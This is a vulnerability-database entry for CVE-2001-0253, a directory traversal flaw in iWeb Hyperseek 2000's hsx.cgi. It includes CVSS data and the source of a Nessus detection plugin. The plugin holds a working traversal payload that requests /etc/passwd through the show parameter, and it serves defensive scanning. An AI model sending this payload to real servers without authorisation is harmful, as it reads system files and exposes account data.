Vulnerabilities > CVE-2001-0253 - Directory Traversal vulnerability in Iweb Systems Hyperseek 2000

047910
CVSS 5.0 - MEDIUM
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
PARTIAL
Integrity impact
NONE
Availability impact
NONE
network
low complexity
iweb-systems
nessus
exploit available
NVD
Published: 2001-06-02
Updated: 2017-12-19

Summary

Directory traversal vulnerability in hsx.cgi program in iWeb Hyperseek 2000 allows remote attackers to read arbitrary files and directories via a .. (dot dot) attack in the show parameter.

Vulnerable Configurations

Part Description Count
Application
Iweb_Systems
1

Exploit-Db

descriptioniWeb Hyperseek 2000 Directory Traversal Vulnerability. CVE-2001-0253. Remote exploits for multiple platform
idEDB-ID:20601
last seen2016-02-02
modified2001-01-28
published2001-01-28
reporterMC GaN
sourcehttps://www.exploit-db.com/download/20601/
titleiweb hyperseek 2000 - Directory Traversal Vulnerability

Nessus

NASL familyCGI abuses
NASL idHSX.NASL
descriptionThe
last seen2020-06-01
modified2020-06-02
plugin id10602
published2001-01-29
reporterThis script is Copyright (C) 2001-2018 Tenable Network Security, Inc.
sourcehttps://www.tenable.com/plugins/nessus/10602
titleiWeb Hyperseek 2000 hsx.cgi show Parameter Traversal Arbitrary File Read
code
#
# (C) Tenable Network Security, Inc.
#


include("compat.inc");

if(description)
{
 script_id(10602);
 script_version ("1.31");

 script_cve_id("CVE-2001-0253");
 script_bugtraq_id(2314);
 
 script_name(english:"iWeb Hyperseek 2000 hsx.cgi show Parameter Traversal Arbitrary File Read");
 script_summary(english:"Checks for the presence of /cgi-bin/hsx.cgi");

 script_set_attribute(attribute:"synopsis", value:
"The remote web server is hosting a CGI script that is affected by an
information disclosure vulnerability." );
 script_set_attribute(attribute:"description", value:
"The 'hsx.cgi' CGI is installed. This CGI has a well known security 
flaw that lets an attacker read arbitrary files with the privileges
of the http daemon (usually root or nobody)." );
 script_set_attribute(attribute:"see_also", value:"https://seclists.org/bugtraq/2001/Jan/441" );
 script_set_attribute(attribute:"solution", value:
"There is no known solution at this time." );
 script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N");
 script_set_cvss_temporal_vector("CVSS2#E:U/RL:U/RC:ND");
 script_set_attribute(attribute:"exploitability_ease", value:"No known exploits are available");
 script_set_attribute(attribute:"exploit_available", value:"false");

 script_set_attribute(attribute:"plugin_publication_date", value: "2001/01/29");
 script_set_attribute(attribute:"vuln_publication_date", value: "2001/01/28");
 script_cvs_date("Date: 2018/11/15 20:50:17");
 script_set_attribute(attribute:"plugin_type", value:"remote");
 script_end_attributes();
 
 script_category(ACT_GATHER_INFO);
 
 script_copyright(english:"This script is Copyright (C) 2001-2018 Tenable Network Security, Inc.");
 script_family(english:"CGI abuses");
 script_dependencie("http_version.nasl", "find_service1.nasl", "no404.nasl");
 script_require_ports("Services/www", 80);
 script_exclude_keys("Settings/disable_cgi_scanning");
 exit(0);
}

#
# The script code starts here
#
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");

port = get_http_port(default:80);

foreach dir (cgi_dirs())
{
  res = http_send_recv3(
    method:"GET",
    item:string(dir, "/hsx.cgi?show=../../../../../../../../../../../../../etc/passwd%00"),
    port:port,
    exit_on_fail: 1
  );

  if (egrep(pattern:".*root:.*:0:[01]:.*", string:res[2])){
    security_warning(port:port);
    exit(0);
  }
}

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